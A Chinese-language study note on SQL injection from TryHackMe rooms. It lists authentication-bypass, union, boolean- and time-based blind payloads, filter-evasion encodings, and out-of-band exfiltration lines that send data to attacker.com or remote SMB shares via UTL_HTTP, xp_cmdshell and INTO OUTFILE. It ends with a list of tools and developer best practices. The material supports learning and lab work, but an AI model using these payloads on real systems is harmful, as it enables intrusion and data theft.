tryhackme SQL注入
https://tryhackme.com/room/sqlinjectionlm
https://tryhackme.com/room/advancedsqlinjection
https://www.cnblogs.com/Hekeats-L/p/16936818.html
sqlmap https://www.cnblogs.com/Hekeats-L/p/17242186.html
SQL注入
带内SQL注入
基于错误的SQL注入
基于Union的SQL注入:1 UNION SELECT 1,2,3 ; 0 UNION SELECT 1,2,3
盲注 -- 身份认证绕过
' OR 1=1;--
盲注 -- 布尔
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';--
admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'username' and COLUMN_NAME !='id';--
admin123' UNION SELECT 1,2,3 from users where username like 'a%';--
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';--
盲注 -- 时间
admin123' UNION SELECT SLEEP(5),2;--
admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--
admin123' UNION SELECT SLEEP(5),2 from users where username like 'admin' and password like '4961';--
带外SQL注入
高级SQL注入
二阶SQL注入
过滤器逃逸
- 字符编码
URL编码
' OR 1=1--
%27%20OR%201%3D1--
十六进制编码
SELECT * FROM users WHERE name = 'admin'
SELECT * FROM users WHERE name = 0x61646d696e 绕过 'admin'
Unicode编码
admin
\u0061\u0064\u006d\u0069\u006e
- 无引号SQL注入
使用数值(Numerical Values): OR 1=1 来代替注入 ' OR '1'='1
使用 SQL 注释符(SQL Comments): 例如,将输入 admin'-- 转换为 admin--
使用 CONCAT() 函数: 例如,CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) 可以构造出字符串 admin
- 禁止使用空格
使用注释替代空格
使用制表符或换行符:制表符(\t)或换行符(\n)
使用替代字符(URL 编码):%09(水平制表符 Tab)、%0A(换行符 LF)、%0C(换页符 FF)、%0D(回车符 CR)以及 %A0(不间断空格 NBSP)
带外SQL注入
MySQL and MariaDB:SELECT ... INTO OUTFILE or load_file
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
Microsoft SQL Server (MSSQL):OPENROWSET 与 BULK INSERT 导入/导出外部数据或读取远程文件的内置函数和命令
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';
Oracle:UTL_HTTP or UTL_FILE
DECLARE
req UTL_HTTP.REQ;
resp UTL_HTTP.RESP;
BEGIN
req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
UTL_HTTP.GET_RESPONSE(req);
END;
HTTP 请求:外部脚本或用户自定义函数(UDF, User Defined Functions)来实现
SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;
DNS 数据外泄
利用 SQL 查询生成携带编码数据的 DNS 请求,这些数据会被发送到由攻击者控制的恶意 DNS 服务器
MySQL 本身并不原生支持仅通过 SQL 命令来生成 DNS 请求,因此攻击者可能会借助其他方式(例如自定义用户定义函数 UDF,或系统级脚本)来执行 DNS 查询
SMB 外带泄露
查询结果写入外部服务器上的 SMB 共享目录
SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';
其他技术
HTTP 头注入:如 User-Agent、Referer 或 X-Forwarded-For
利用存储过程:存储过程是预编译的 SQL 语句,可作为单一单元执行
XML 与 JSON 注入:直接把解析出的值拼接进 SQL 语句
自动化
几款重要工具
SQLMap:https://github.com/sqlmapproject/sqlmap
SQLNinja:以 Microsoft SQL Server 为后端数据库 的 Web 应用 SQL 注入漏洞的工具
https://github.com/xxgrunge/sqlninja
JSQL Injection:专注于在 Java 应用中检测 SQL 注入漏洞的 Java 库
https://github.com/ron190/jsql-injection
BBQSQL:BQSQL 是一个盲注(Blind SQL Injection)利用框架
https://github.com/CiscoCXSecurity/bbqsql
最佳实践
- 安全开发人员
参数化查询与预处理语句
输入验证与净化
最小权限原则
存储过程
定期安全审计与代码审查
- 渗透测试人员
利用数据库特有特性:各自独特的特性与语法
借助错误信息:1' AND 1=CONVERT(int, (SELECT @@version)) --
绕过 WAF 与过滤器:大小写混合(SeLeCt);拼接函数(CONCAT(CHAR(83), CHAR(69), CHAR(76), CHAR(69), CHAR(84)));替代编码(十六进制、URL 编码);内联注释(/**/);不同的字符编码(如 %09、%0A)。
数据库指纹识别:SELECT version();SELECT @@version
借助 SQL 注入进行横向移动:涉及提取凭据,漏洞等

浙公网安备 33010602011771号